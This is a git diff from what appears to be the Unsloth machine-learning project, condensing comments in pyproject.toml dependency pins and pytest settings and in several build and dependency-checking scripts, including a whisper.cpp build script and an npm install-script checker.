"typer==0.27.1 ; python_version >= '3.10'",
"typer==0.23.2 ; python_version < '3.10'",
@@ -190,8 +166,7 @@ studio = [
"gguf==0.18.0 ; python_version < '3.10'",
"safetensors>=0.8.0 ; sys_platform == 'win32' and python_version >= '3.10'",
"av>=12.3.0",
- # No win_arm64 wheel and no sdist either, so it cannot be floored or built. Dropped rather
- # than pinned: the RAG store already treats a missing sqlite_vec as "RAG unavailable".
+ # No win_arm64 wheel or sdist; RAG treats a missing sqlite_vec as unavailable.
"sqlite-vec==0.1.9 ; sys_platform != 'win32' or platform_machine != 'ARM64'",
# Mirrors studio.txt: pymupdf publishes a win_arm64 wheel from 1.28 only.
"pymupdf==1.27.2.3 ; sys_platform != 'win32' or platform_machine != 'ARM64'",
@@ -205,15 +180,8 @@ studio = [
s3 = ["boto3>=1.34.0"]
triton = [
- # Not raised past 3.0.0 on purpose. torch pins triton exactly, and the oldest
- # torch supported here, 2.6.0, requires `triton==3.2.0`, so any floor above
- # that makes torch 2.6.0 unresolvable rather than safe, and a marker cannot
- # be written against another distribution's version. The two triton defects
- # that were reported through us are handled where the version is actually
- # known: the sm_75 cut cross entropy miscompile in triton 3.3.0 and 3.3.1
- # (#2491) by the gate in unsloth_zoo/loss_utils.py, and the missing
- # PY_SSIZE_T_CLEAN in a repackaged driver shim (#2760) by
- # check_triton_py_ssize_t_clean() in unsloth/import_fixes.py.
+ # Not raised past 3.0.0: torch 2.6.0 pins triton==3.2.0, so a higher floor makes it unresolvable.
+ # Known triton defects are gated in unsloth_zoo/loss_utils.py and unsloth/import_fixes.py.
"triton>=3.0.0 ; ('linux' in sys_platform)",
# triton-windows has win_arm64 wheels from 3.8.0.post28, so a floor works here, not a marker.
"triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
@@ -250,18 +218,10 @@ huggingfacenotorch = [
"accelerate>=0.34.1",
"peft>=0.18.0,!=0.11.0",
"huggingface_hub>=0.34.0",
- # A Rust extension with no win_arm64 wheel. huggingface_hub imports it only under
- # HF_HUB_ENABLE_HF_TRANSFER=1, and hf_xet ships win_arm64 and covers fast downloads.
+ # Rust extension with no win_arm64 wheel; only used under HF_HUB_ENABLE_HF_TRANSFER=1.
"hf_transfer ; sys_platform != 'win32' or platform_machine != 'ARM64'",
- # 0.39 is the floor the diffusion stack already assumes: Krea2Pipeline (the Krea 2
- # workflow raises without it), the cache_context child-registry behavior, and the
- # Flux2 / Z-Image pipelines. An unversioned entry let an upgrade keep an older
- # diffusers, so advertised models failed to load until the user upgraded by hand.
- # Unsloth's installer requirements carry the temporary MiniMax-H3 commit pin. A
- # VCS direct reference cannot enter wheel metadata because PyPI rejects it.
- # diffusers dropped 3.9 in 0.37, and we still support it (requires-python >= 3.9),
- # so the floor is conditional: pinning it outright leaves pip no candidate at all
- # on 3.9 and the whole extra becomes unresolvable.
+ # 0.39 is the floor the diffusion stack assumes (Krea2Pipeline, Flux2, Z-Image).
+ # Conditional because diffusers dropped Python 3.9 in 0.37.
"diffusers>=0.39.0 ; python_version >= '3.10'",
"diffusers ; python_version < '3.10'",
# Ceiling = newest release the version matrix ran. Each `!=` was tested and rejected: keep them.
@@ -270,19 +230,8 @@ huggingfacenotorch = [
"trl>=0.18.2,!=0.19.0,<=1.15.0",
"sentence-transformers",
]
-# torchcodec backend for Gemma audio / datasets>=4 (#7225).
-# Pick the audio-torch* pin matching your torch minor (see TORCH_TORCHCODEC).
-# torchcodec publishes no sdist and only manylinux_2_28_x86_64, macosx_*_arm64
-# and win_amd64 wheels, so Linux aarch64, Windows ARM64 and Intel Mac have
-# nothing to resolve and pip fails the whole install rather than skipping audio.
-# Gate on the platforms that have a wheel, matching
-# PLATFORM_LACKS_TORCHCODEC_WHEEL in studio/install_python_stack.py.
-# The only audio-torch2xx whose line has a Linux aarch64 wheel: torchcodec added
-# manylinux_2_28_aarch64 at 0.11.0, so this extra carries it and the older ones below,
-# which top out at 0.10, still cannot. Mirrors _torchcodec_platform_floor.
-# soundfile and PyAV are what decodes when torchcodec is installed but cannot load
-# (import_fixes.patch_datasets_audio_decoding_without_torchcodec); PyAV < 12.3 needs numpy < 2.
-# They carry torchcodec's marker so a host without a torchcodec wheel resolves nothing here.
+# torchcodec ships wheels only for manylinux x86_64 (aarch64 from 0.11), macOS arm64 and win_amd64;
+# markers mirror PLATFORM_LACKS_TORCHCODEC_WHEEL in studio/install_python_stack.py.
audio-torch211 = [
"torchcodec>=0.11.0,<0.12.0 ; python_version >= '3.10' and python_version < '3.15' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'linux' and platform_machine == 'aarch64') or (sys_platform == 'darwin' and platform_machine == 'arm64'))",
"soundfile>=0.12.1 ; python_version >= '3.10' and python_version < '3.15' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'linux' and platform_machine == 'aarch64') or (sys_platform == 'darwin' and platform_machine == 'arm64'))",
@@ -309,48 +258,15 @@ huggingface = [
"torchvision",
"unsloth[triton]",
]
-# xFormers' win_amd64 wheels are per-CUDA-family, not just per-torch: the
-# xformers/_C.pyd is linked against ONE exact (torch, CUDA) pair, and next to any
-# other pair torch.ops.load_library raises and xformers/_cpp_lib.py downgrades to
-# "xFormers can't load C++/CUDA extensions", losing memory-efficient attention,
-# SwiGLU and the sparse ops for the rest of the process -- a silent warning, not
-# an install failure. PyPI publishes only the CUDA-12.8 flavour (0.0.34's
-# win_amd64 cpp_lib.json reads torch 2.10.0+cu128), which is wrong next to the
-# cu126 / cu130 torch install.ps1 pulls from download.pytorch.org -- and cannot
-# be right on a plain PyPI install either, because PyPI's WINDOWS torch carries
-# no CUDA at all (torch 2.10.0's win_amd64 wheel reports __version__
-# '2.10.0+cpu' with cuda = None; only the Linux wheel is +cu128).
-#
-# There is no PEP 508 marker for "which CUDA build of torch is resident", so a
-# single static extra cannot pick the right wheel. The CUDA-matched route on
-# Windows is therefore the same one Linux uses -- the cuXXX-torchYYY extras. Not
-# every one of them carries a win_amd64 row (the cu118 and cu121 rows do not, and
-# cu130onlytorch280 is empty), but the cu126 / cu128 / cu130 rows a current torch
-# resolves to all do:
+# xFormers win_amd64 wheels link one exact (torch, CUDA) pair and PyPI's Windows torch is CPU-only,
+# so this extra stays CUDA-agnostic and uncapped. For a CUDA match use a cuXXX-torchYYY extra:
# pip install --index-url https://download.pytorch.org/whl/cu130 "unsloth[cu130-torch2100]"
# pip install --index-url https://download.pytorch.org/whl/cu128 "unsloth[cu128-torch2100]"
-# The index is not optional. Those extras pin xFormers by direct URL but pin no
-# torch, and PyPI's Windows torch is CPU-only, so without it pip lands a cu130
-# extension beside a '2.10.0+cpu' torch -- the same silent mismatch, inverted.
-# install.ps1 needs none of this: it picks the wheel from the index it installed
-# torch from, so Unsloth never reaches the extra below.
-#
-# The extra below is what a `pip install "unsloth[windows]"` resolves, and it
-# stays CUDA-agnostic because it has nothing to key off. It is deliberately NOT
-# capped. An earlier revision bounded it at <0.0.35 on the reasoning that 0.0.35
-# declares only torch>=2.10 while its extension is built for 2.10.0. Upstream says
-# that pairing is supported: v0.0.34's notes record the migration to the PyTorch
-# stable API/ABI, "which means that binary builds targeting PyTorch 2.10+ will be
-# compatible with any later version". Capping also has a cost -- 0.0.34 pins
-# torch==2.10.0 EXACTLY, so a cap strands anyone on 2.10.1. The axis that actually
-# has to match is the CUDA family, which this extra cannot see and install.ps1
-# handles instead.
windows = [
"unsloth[huggingface]",
# bitsandbytes ships a win_arm64 wheel from 0.50.0, so this row covers it.
"bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0 ; (sys_platform == 'win32')",
- # No win_arm64 wheel and no sdist that builds without CUDA's Windows-ARM toolchain, so this
- # row would fail the whole extra. Torch's SDPA is the fallback.
+ # No win_arm64 wheel or buildable sdist; torch SDPA is the fallback.
"xformers>=0.0.22.post7 ; (sys_platform == 'win32') and platform_machine != 'ARM64'",
]
base = [
@@ -1662,9 +1578,7 @@ intel = [
]
amd = [
"unsloth[huggingfacenotorch]",
- # 4-bit decode is unreliable on ROCm before 0.50.0, the first PyPI release
- # carrying the full path: blocksize/warp decoupling (bnb #1887), fused SIMT
- # GEMM on RDNA (#1979), RDNA3/4 workgroup fix (#2012).
+ # 4-bit decode is unreliable on ROCm before bitsandbytes 0.50.0.
"bitsandbytes>=0.50.0 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')",
"bitsandbytes>=0.50.0 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
]
@@ -1799,21 +1713,11 @@ ignore = [
[tool.ruff.format]
[tool.pytest.ini_options]
-# Narrow the default test discovery so `pytest` from the repo root
-# does NOT pick up the GPU-heavy tests under tests/python, tests/qlora,
-# etc. The CI security job runs `pytest tests/security` explicitly.
+# A bare `pytest` must not pick up the GPU-heavy tests; CI runs tests/security explicitly.
testpaths = ["tests/security"]
pythonpath = ["."]
-# testpaths only protects a bare `pytest`. Anyone who types `pytest tests/`
-# gets the whole walk, and a handful of files in it download and merge real
-# checkpoints: measured, `pytest tests/ -n 16` was 16m22s, and 34 of the 17.5k
-# tests accounted for 11 of those minutes. Markers are what make that opt-in.
-#
-# `slow` predates this: seven uses in
-# tests/python/test_embed_lm_head_target_modules_redirect.py, never registered
-# and never consumed, so the author's intent was inert. Registering it is what
-# turns the existing annotations on.
+# Markers make the slow, checkpoint-downloading tests opt-in under `pytest tests/`.
markers = [
"gpu: needs a real accelerator, and usually downloads a checkpoint to use it",
"slow: minutes rather than seconds, and covered again more cheaply elsewhere",
@@ -1821,9 +1725,5 @@ markers = [
"native_mxc: needs native Windows, the pinned Microsoft WXC executable, and a working MXC ProcessContainer backend",
]
-# Deselected by default, not deleted: CI runs them in their own leg with
-# `-m 'gpu or slow'`, and `pytest -m gpu tests/` gets them back locally.
-# A run that names one of these files directly will report "no tests ran"
-# until you pass `-m gpu` -- that is the cost of the default being fast.
-# Live Studio tests are opt-in: `pytest -m server`.
+# CI runs these with `-m 'gpu or slow'`; live Studio tests need `-m server`.
addopts = "-m 'not gpu and not slow and not server and not native_mxc'"
diff --git a/scripts/build_prequant_checkpoint.py b/scripts/build_prequant_checkpoint.py
index cd70badd2ff..6444cbbffa5 100644
--- a/scripts/build_prequant_checkpoint.py
+++ b/scripts/build_prequant_checkpoint.py
@@ -101,8 +101,7 @@ def upload_destination(
)
return override
if component and component != DEFAULT_COMPONENT:
- # A second denoiser (Wan A14B's transformer_2) resolves ONLY its task-specific row, with no
- # fallback, so any other name would publish an artifact the loader never asks for.
+ # A second denoiser resolves only its task-specific row, so other names would never be loaded.
from core.inference.diffusion_families import family_prequant_filename
specific = family_prequant_filename(fam, scheme, task = component)
@@ -142,11 +141,7 @@ def upload_destination(
preferred = rotated_name or family_prequant_filename(fam, scheme)
why = "a rotated checkpoint" if rotated else "a safetensors checkpoint"
if not preferred:
- # A PLAIN safetensors build now has a derived name, and only because
- # ``derived_prequant_filenames`` asks for ``<Model>-<SCHEME>.safetensors`` FIRST. The
- # reachability this refusal protects is exactly what that chain supplies, so refusing here
- # would make every family without a declared entry pass an override it could compute
- # itself. Rotation keeps needing a declared name: no derived spelling carries the marker.
+ # Plain safetensors builds have a derived name; rotated builds still need a declared one.
if safetensors and not rotated and upload_repo:
from core.inference.diffusion_prequant import prequant_repo_filename
return prequant_repo_filename(upload_repo, scheme, ".safetensors")
@@ -155,12 +150,7 @@ def upload_destination(
f"{scheme!r}, so {why} has no name the loader would ask for. Add the "
"entry to the family table, or pass --upload-filename."
)
- # Both directions, not just one. The declared name and the container have to agree, and a
- # family that has moved its entry to a .safetensors artifact makes the REVERSE mismatch the
- # reachable one: a rotated pickle build then publishes torch.save bytes under a safetensors
- # name, every loader dispatches on the extension and hands them to safe_open, and the artifact
- # is unopenable after the hours the quantization took. Same failure as the guarded direction,
- # so it gets the same refusal.
+ # Check both directions: the declared name's extension must match the container.
wanted = ".safetensors" if safetensors else ".pt"
if not preferred.lower().endswith(wanted):
reads_as = "a pickle" if safetensors else "safetensors"
@@ -274,19 +264,11 @@ def main(argv = None) -> int:
convrot_group = int(args.convrot_groupsize)
spec_group, spec_suffixes = convrot_spec_for_scheme(scheme, fam.name)
convrot_suffixes: tuple = spec_suffixes if convrot_group and convrot_group == spec_group else ()
- # What the artifact RECORDS as its base, which is not always what this build READ. Weights staged into a local
- # directory keep that directory's name, and the loader's ``_same_base_model`` compares final path segments: a
- # checkpoint built from ./temp/qwen_image_21 records a base whose tail is "qwen_image_21", the load asks for
- # "Qwen/Qwen-Image-2.1", the tails differ and a perfectly good artifact is refused after the dense shards were
- # already dropped. Pinned to the FAMILY's own base_repo rather than taken on trust, so the override can only ever
- # name the model this family is for, and cannot relabel one checkpoint as another.
+ # The recorded base may differ from the one read: a local staging dir name would fail the
+ # loader's _same_base_model tail comparison, so --base-model-id (pinned to base_repo) overrides it.
recorded_base = args.base_model_id or args.base
if args.base_model_id:
- # EXACT, not the loader's ``_same_base_model``. That helper compares final path segments on
- # purpose, so a checkpoint built from ./temp/qwen_image_21 still matches Qwen/Qwen-Image-2.1;
- # borrowing it here would also accept ``other/Qwen-Image-2.1``, record the artifact under that
- # namespace, and have the loader's equally tolerant comparison wave it through as the official
- # base. What gets WRITTEN into a published file has to be the canonical id itself.
+ # Exact match, not _same_base_model, so a published file always records the canonical id.
if recorded_base.strip() != fam.base_repo:
print(
f"error: --base-model-id {recorded_base!r} is not {fam.name}'s base "
@@ -295,8 +277,6 @@ def main(argv = None) -> int:
)
return 2
transformer_cls = getattr(diffusers, fam.transformer_class)
- # The CONTAINER is chosen by the --out extension, so one flag picks the on-disk format, the reachable upload name
- # and the writer, and they cannot be set to disagree.
is_safetensors_out = str(args.out).lower().endswith(".safetensors")
if is_safetensors_out:
from core.inference.prequant_safetensors import (
@@ -312,10 +292,8 @@ def main(argv = None) -> int:
flush = True,
)
return 2
- # The helpers importing is not the same question as this scheme producing something they can
- # flatten, and for int8 the two disagree through torchao 0.17. Probed here, on one tiny CPU
- # Linear, so the answer arrives in a second instead of after the download and the hours of
- # GPU quantization. None means the probe could not run, which is not evidence: proceed.
+ # Importable helpers do not mean this scheme flattens (int8 does not through torchao 0.17).
+ # Probe on a tiny CPU Linear before the long download; None means the probe could not run, so proceed.
from core.inference.diffusion_transformer_quant import _make_quant_config
if scheme_is_flattenable(_make_quant_config(scheme)) is False:
@@ -327,8 +305,7 @@ def main(argv = None) -> int:
flush = True,
)
return 2
- # Resolved BEFORE the load, so a rotated build with nowhere resolvable to publish fails in a second rather than
- # after the quantise and the multi-gigabyte save.
+ # Resolved before the load so a bad upload target fails fast.
upload_dest = None
if args.upload_repo:
try:
@@ -365,8 +342,7 @@ def main(argv = None) -> int:
require_divisible = filter_settings["require_divisible"],
)
- # ConvRot, BEFORE quantize_: rotating the weights is only worth anything if the quantizer then sees the rotated
- # distribution. The fqn list is recorded, never re-derived at load time.
+ # Rotate before quantize_ so the quantizer sees the rotated distribution.
rotation: dict = {}
if convrot_group:
from core.inference.diffusion_convrot import (
@@ -403,7 +379,6 @@ def main(argv = None) -> int:
"family": fam.name,
"scheme": scheme,
"min_features": args.min_features,
- # Let the loader reject a checkpoint that would not match the runtime path.
"exclude_name_tokens": list(exclude_name_tokens),
"require_bf16": require_bf16,
"require_divisible": filter_settings["require_divisible"],
@@ -411,7 +386,6 @@ def main(argv = None) -> int:
"torch_dtype": args.dtype,
"quant_backend": "torchao",
"transformer_class": fam.transformer_class,
- # The subfolder built above: the loader refuses it as another denoiser (e.g. transformer_2).
"component": component,
"torch_version": torch.__version__,
"torchao_version": getattr(torchao, "__version__", "?"),
@@ -426,8 +400,7 @@ def main(argv = None) -> int:
metadata["fp8_granularity"] = FP8_GRANULARITY
metadata.update(rotation)
ckpt = {
- # v2 when a rotation is baked in, so an Unsloth predating the online half refuses the file rather than running
- # the rotated weights against unrotated activations.
+ # v2 when rotated, so an older Unsloth refuses the file instead of mismatching activations.
"format": prequant_format_for(metadata),
"metadata": metadata,
"state_dict": state_dict,
diff --git a/scripts/build_te_prequant_checkpoint.py b/scripts/build_te_prequant_checkpoint.py
index 4a343af38a6..58cf9149861 100644
--- a/scripts/build_te_prequant_checkpoint.py
+++ b/scripts/build_te_prequant_checkpoint.py
@@ -77,7 +77,6 @@ def main(argv = None) -> int:
from core.inference.diffusion_precision import _cast_fp8
from core.inference.diffusion_te_prequant import TE_PREQUANT_FORMAT
- # Family is forensic metadata; detection differs per branch, so resolve best-effort by name.
family = args.family.strip().lower()
subfolder = args.component if args.config_subfolder is None else args.config_subfolder
diff --git a/scripts/build_whisper_cpp.sh b/scripts/build_whisper_cpp.sh
index 775e939b84e..4de1309b0b8 100755
--- a/scripts/build_whisper_cpp.sh
+++ b/scripts/build_whisper_cpp.sh
@@ -1,25 +1,13 @@
#!/bin/sh
-# Build whisper.cpp's whisper-server for Unsloth's GGUF dictation engine.
-# Installs into the managed Unsloth home so the backend's binary discovery
-# (core/inference/stt_ggml_sidecar.py::find_whisper_server_binary) picks it up:
-# <UNSLOTH_HOME>/whisper.cpp/build/bin/whisper-server (master root)
-# <UNSLOTH_STUDIO_HOME>/whisper.cpp/build/bin/whisper-server (custom home)
-# ~/.unsloth/whisper.cpp/build/bin/whisper-server (default)
-# Usage:
-# ./scripts/build_whisper_cpp.sh # build the pinned tag
-# WHISPER_CPP_TAG=v1.9.0 ./scripts/build_whisper_cpp.sh
-# Requires: git, cmake, a C/C++ toolchain (the same prerequisites as a
-# llama.cpp source build). GPU backends are auto-detected by whisper.cpp's
-# CMake (Metal on macOS; set GGML_CUDA=1 to force a CUDA build on Linux).
+# Build whisper.cpp's whisper-server into the managed Unsloth home, where
+# stt_ggml_sidecar.find_whisper_server_binary looks. Override the tag with WHISPER_CPP_TAG.
set -eu
WHISPER_CPP_SOURCE="${WHISPER_CPP_SOURCE:-https://github.com/ggml-org/whisper.cpp}"
WHISPER_CPP_TAG="${WHISPER_CPP_TAG:-v1.9.1}"
-# Stripped and tilde-expanded before it can outrank anything, as setup.sh and the Python
-# resolvers do: ${VAR:-} only treats the EMPTY string as unset, so a whitespace-only value
-# would win here and name a relative " /whisper.cpp" the backend never looks in.
+# Strip and tilde-expand first: ${VAR:-} treats only the empty string as unset.
_root_value() {
_rv=$(printf '%s' "${1:-}" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')
case "$_rv" in
@@ -29,9 +17,7 @@ _root_value() {
printf '%s' "$_rv"
}
-# UNSLOTH_HOME first: whisper.cpp is a SIBLING of studio/ under the master root, and the CLI
-# exports UNSLOTH_STUDIO_HOME=<root>/studio beside it, so taking that one would install a level
-# below where stt_ggml_sidecar._managed_whisper_cpp_dir() looks.
+# UNSLOTH_HOME first: whisper.cpp is a sibling of studio/ under the master root.
_STUDIO_HOME_ALIAS="${STUDIO_HOME:-}" # read before the name below is reassigned
STUDIO_HOME="$(_root_value "${UNSLOTH_HOME:-}")"
[ -n "$STUDIO_HOME" ] || STUDIO_HOME="$(_root_value "${UNSLOTH_STUDIO_HOME:-}")"
@@ -47,9 +33,7 @@ fi
command -v git >/dev/null 2>&1 || { echo "ERROR: git is required" >&2; exit 1; }
command -v cmake >/dev/null 2>&1 || { echo "ERROR: cmake is required" >&2; exit 1; }
-# Same policy as studio/setup.sh's _assert_studio_owned_or_absent: never delete
-# a directory under a custom Unsloth home unless Unsloth itself created it (the
-# marker file below). Protects a user-managed whisper.cpp/src from rm -rf.
+# Never delete a dir under a custom Unsloth home unless Unsloth created it (marker file).
STUDIO_OWNED_MARKER=".unsloth-studio-owned"
if [ "$CUSTOM_STUDIO_HOME" = true ] && [ -e "$INSTALL_DIR" ] && \
[ ! -f "$INSTALL_DIR/$STUDIO_OWNED_MARKER" ]; then
diff --git a/scripts/check_frontend_dep_removal.py b/scripts/check_frontend_dep_removal.py
index fa9e98f4507..54755e5a246 100644
--- a/scripts/check_frontend_dep_removal.py
+++ b/scripts/check_frontend_dep_removal.py
@@ -95,7 +95,6 @@ GREP_EXCLUDES = [
"--exclude-dir=venv",
]
-# A pip-installed playwright ref is the PyPI package, not npm.
PIP_PLAYWRIGHT = re.compile(
r"(pip\s+install\s+['\"]?playwright"
r"|python\s+-m\s+playwright"
@@ -235,7 +234,7 @@ def classify(pkg: str, file: str, content: str) -> str | None:
flags_dotall,
):
return "re_export"
- # HTML script / link. Match pkg as a complete path segment so `/node_modules/foo-extra/...` is not treated as usage of `foo`.
+ # Match pkg as a whole path segment so foo-extra is not counted as foo.
html_pkg = rf"{esc}(?:/[^'\"#?]*)?(?=['\"#?])"
if is_html and re.search(rf"<script[^>]*src\s*=\s*['\"][^'\"]*/{html_pkg}", content):
return "html_script"
@@ -254,10 +253,8 @@ def classify(pkg: str, file: str, content: str) -> str | None:
return "template_literal"
if is_script and re.search(rf"@import\(\s*['\"]{esc}{sub}['\"]\s*\)", content):
return "jsdoc_import"
- # Bare quoted-string fallback (config plugin lists, vite aliases, tsconfig paths, biome plugin arrays, shadcn registries).
if not JS_LIKE_EXT.search(file):
return None
- # pkg must be followed by `'`, `"`, or `/` so `foo` doesn't match `foobar`.
if re.search(rf"['\"]{esc}(?:['\"]|/)", content):
return "string_literal"
return None
@@ -322,18 +319,17 @@ _PKG_JSON_SKIP_KEYS = {
"bundledDependencies",
}
-# Top-level fields whose contents are never package references.
_PKG_JSON_OPAQUE_KEYS = {
- "browserslist", # browser queries
- "keywords", # free-form strings
- "engines", # node/npm version constraints
- "engineStrict", # bool
- "packageManager", # `[email protected]` -- the package manager binary
- "volta", # version pins for node/npm/yarn
- "files", # paths included in publish
- "directories", # paths
- "publishConfig", # registry / access config
- "config", # generic npm config values
+ "browserslist",
+ "keywords",
+ "engines",
+ "engineStrict",
+ "packageManager",
+ "volta",
+ "files",
+ "directories",
+ "publishConfig",
+ "config",
"main",
"module",
"browser",
@@ -343,7 +339,7 @@ _PKG_JSON_OPAQUE_KEYS = {
"exports",
"imports",
"bin",
- "man", # author-side fields (not consumer refs)
+ "man",
"scripts", # handled separately via scripts_bin_refs()
"repository",
"bugs",
@@ -359,7 +355,7 @@ _PKG_JSON_OPAQUE_KEYS = {
"description",
"private",
"sideEffects",
- "workspaces", # paths/globs, NOT pkg names
+ "workspaces",
}
@@ -412,7 +408,7 @@ def build_bin_to_pkg(head_lock: dict) -> dict[str, str]:
_SCRIPT_TOKENIZE = re.compile(r"\s*(?:&&|\|\||;|\|(?!\|))\s*")
-# Wrappers that delegate to a real CLI in the same shell word list; we skip past them and their flags to find the wrapped bin. Script-name wrappers (concurrently, npm-run-all, turbo, nx) are excluded: they reference script names, so the real bin lives in the target script's chunk we already tokenize.
+# Env wrappers whose wrapped bin follows their flags; script-name runners are handled per chunk.
_SCRIPT_WRAPPERS = {"cross-env", "dotenv", "dotenvx", "env-cmd"}
_ENV_PREFIX_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
@@ -427,7 +423,6 @@ def _next_real_bin(words: list[str], idx: int) -> str | None:
return None
first = words[idx]
- # Package-manager runner (npx/pnpm exec/yarn dlx/bunx): strip it and continue so the wrapped command re-enters the unwrap loop.
if first in {"npx", "pnpx", "bunx"} and idx + 1 < len(words):
idx += 1
continue
@@ -435,17 +430,14 @@ def _next_real_bin(words: list[str], idx: int) -> str | None:
idx += 2
continue
- # Wrapper bin (cross-env, dotenv): skip its flags and env prefixes.
bin_token = first.removeprefix("./node_modules/.bin/").removeprefix("node_modules/.bin/")
if bin_token in _SCRIPT_WRAPPERS and bin_token not in seen_wrappers:
seen_wrappers.add(bin_token)
idx += 1
- # dotenv/dotenvx use `-e <file>` flags and an optional `--`.
while idx < len(words):
tok = words[idx]
if tok.startswith("-") and tok != "--":
idx += 1
- # `-e .env`: also skip the flag's argument.
if (
idx < len(words)
and not words[idx].startswith("-")
@@ -478,7 +470,6 @@ def scripts_bin_refs(head_pkg: dict, bin_to_pkg: dict[str, str]) -> dict[str, li
try:
words = shlex.split(chunk, posix = True)
except ValueError:
- # Unbalanced quotes: fall back to plain split.
words = chunk.split()
if not words:
continue
@@ -501,7 +492,6 @@ def tsconfig_compiler_types_refs() -> set[str]:
continue
try:
text = path.read_text()
- # tsconfig allows comments; strip simple line comments.
text = re.sub(r"//[^\n]*", "", text)
data = json.loads(text)
except (OSError, json.JSONDecodeError):
@@ -510,7 +500,6 @@ def tsconfig_compiler_types_refs() -> set[str]:
for t in types:
if not isinstance(t, str):
continue
- # `vite/client` resolves to the `vite` package.
pkg = t.split("/", 1)[0] if not t.startswith("@") else "/".join(t.split("/", 2)[:2])
out.add(pkg)
return out
@@ -544,7 +533,6 @@ def enumerate_dep_usage(head_pkg: dict, head_lock: dict) -> dict[str, list]:
continue
hits = find_usage(name)
used = bool(hits)
- # CLI usage in shell/workflow/Dockerfile.
if not used and not name.startswith("@types/") and find_command_usage(name):
used = True
if not used and name in script_refs:
@@ -565,7 +553,6 @@ def find_imports_without_decl(head_pkg: dict) -> list[tuple[str, int, str]]:
decl = set()
for f in DEP_FIELDS:
decl.update((head_pkg.get(f) or {}).keys())
- # Exclude relative paths and the `@/` alias by requiring the specifier's first char to be neither `.` nor `/`.
pattern = (
r"(?:\bfrom\s+|"
r"\bimport\s+(?:\(\s*)?|"
@@ -651,7 +638,7 @@ def find_usage(pkg: str) -> list[Hit]:
continue
kind = classify(pkg, file, content)
if not kind:
- # Multi-line window (25 lines each side) so Prettier's one-import-per-line formatting still pairs `import` with `from`.
+ # Multi-line window so one-import-per-line formatting still pairs import with from.
lines = _read_file(file)
lo = max(0, lineno - 26)
hi = min(len(lines), lineno + 25)
@@ -675,7 +662,7 @@ def find_command_usage(pkg: str) -> list[Hit]:
"""Find package CLI invocations in shell/workflow/Dockerfile surfaces (npx, bunx, pnpm exec, yarn dlx, or bare `pkg --flag`). Bounded to COMMAND_LIKE_EXT so `npx foo` in a TS fixture is not mistaken for real use."""
bins = sorted(_candidate_bin_names(pkg), key = len, reverse = True)
esc_bins = "|".join(re.escape(b) for b in bins)
- # Built without f-strings to avoid clashing with the POSIX `[[:space:]]` literals.
+ # Not an f-string: the POSIX [[:space:]] classes and literal braces would clash.
grep_pat = (
r"(^|[[:space:]:;&|(\[])"
r"(npx[[:space:]]+|pnpm[[:space:]]+exec[[:space:]]+"
@@ -803,7 +790,7 @@ def main() -> int:
return 2
head_lock = read_pkg_file(head_lock_path)
- # Base lockfile is best-effort: it only recovers the bin -> package mapping for packages the PR removes, so a scripts.biome cite still fires when @biomejs/biome is dropped from the head lockfile.
+ # Base lockfile only recovers bin -> package mappings for packages the PR removes.
if args.base_lock:
base_lock_path = Path(args.base_lock)
base_lock = read_pkg_file(base_lock_path) if base_lock_path.exists() else {}
@@ -814,7 +801,7 @@ def main() -> int:
head_names = all_decl_names(head_pkg)
removed = sorted(base_names - head_names)
- # Hygiene checks compute up front so they run on both the removal-present and removal-empty paths (so --strict fails on hygiene-only issues).
+ # Computed up front so --strict also fails on hygiene-only issues.
sync_warns = lockfile_root_sync(head_pkg, head_lock)
types_warns = types_orphan_warnings(head_pkg)
missing_imports = find_imports_without_decl(head_pkg)
@@ -875,7 +862,6 @@ def main() -> int:
print()
reachable_paths = reachable_from_head(head_pkg, head_lock) if head_lock else set()
- # bin -> package map from the head lockfile, layering base-lockfile entries for removed packages so scripts.biome still flags when @biomejs/biome is dropped (head lockfile no longer maps it).
bin_to_pkg = build_bin_to_pkg(head_lock) if head_lock else {}
base_bin_to_pkg = build_bin_to_pkg(base_lock) if base_lock else {}
removed_set = set(removed)
@@ -905,7 +891,7 @@ def main() -> int:
hits.append(Hit("studio/frontend/package.json", 0, "pkg_json_field", cite))
top, nested = reachable_install_paths(name)
importable_top_level = top is not None
- # A bare specifier resolves ONLY to top-level node_modules/<name>; nested copies are invisible to src/.
+ # A bare specifier resolves only to top-level node_modules/<name>.
if hits and not importable_top_level:
status = "FAIL"
elif hits and importable_top_level:
diff --git a/scripts/check_new_install_scripts.py b/scripts/check_new_install_scripts.py
index 78b29fda43d..9814f365218 100644
--- a/scripts/check_new_install_scripts.py
+++ b/scripts/check_new_install_scripts.py
@@ -57,7 +57,6 @@ def _strip_nm_prefix(key: str) -> str:
"""Convert a v2/v3 `packages` key into a bare package name (leaf after last `node_modules/`)."""
if not key:
return ""
- # LAST node_modules/ segment so transitives map to their leaf name.
marker = "node_modules/"
idx = key.rfind(marker)
if idx == -1:
@@ -119,7 +118,6 @@ def _load_lockfile(path: Path) -> dict:
raise ValueError(f"{path}: not valid JSON: {exc}") from exc
-# Registry lookup for the postinstall command body (best-effort).
def _fetch_registry_scripts(name: str, version: str) -> dict[str, str] | None:
"""Return {hook: command} for lifecycle hooks in registry metadata; None on any error (never raises)."""
safe_name = urllib.parse.quote(name, safe = "@/")
@@ -150,7 +148,7 @@ def diff_new_install_scripts(base_lock: dict, head_lock: dict) -> list[Finding]:
findings: list[Finding] = []
for key in sorted(head):
if key in base:
- continue # pre-existing install-script dep; not in scope
+ continue
name = head[key]
version = key[len(name) + 1 :] if key.startswith(name + "@") else "<unversioned>"
scripts = _fetch_registry_scripts(name, version)
diff --git a/scripts/compare_engines.py b/scripts/compare_engines.py
index 35559ba634c..3499c55593c 100644
--- a/scripts/compare_engines.py
+++ b/scripts/compare_engines.py
@@ -40,7 +40,7 @@ def bench_pytorch(repo, gguf, resolutions, steps, seed, iters):
backend = DiffusionBackend()
for speed in ("off", "default"):
backend.begin_load(repo, gguf_filename = gguf, speed_mode = speed)
- deadline = time.time() + 1800 # 30 min: never hang on a stuck download/load
+ deadline = time.time() + 1800
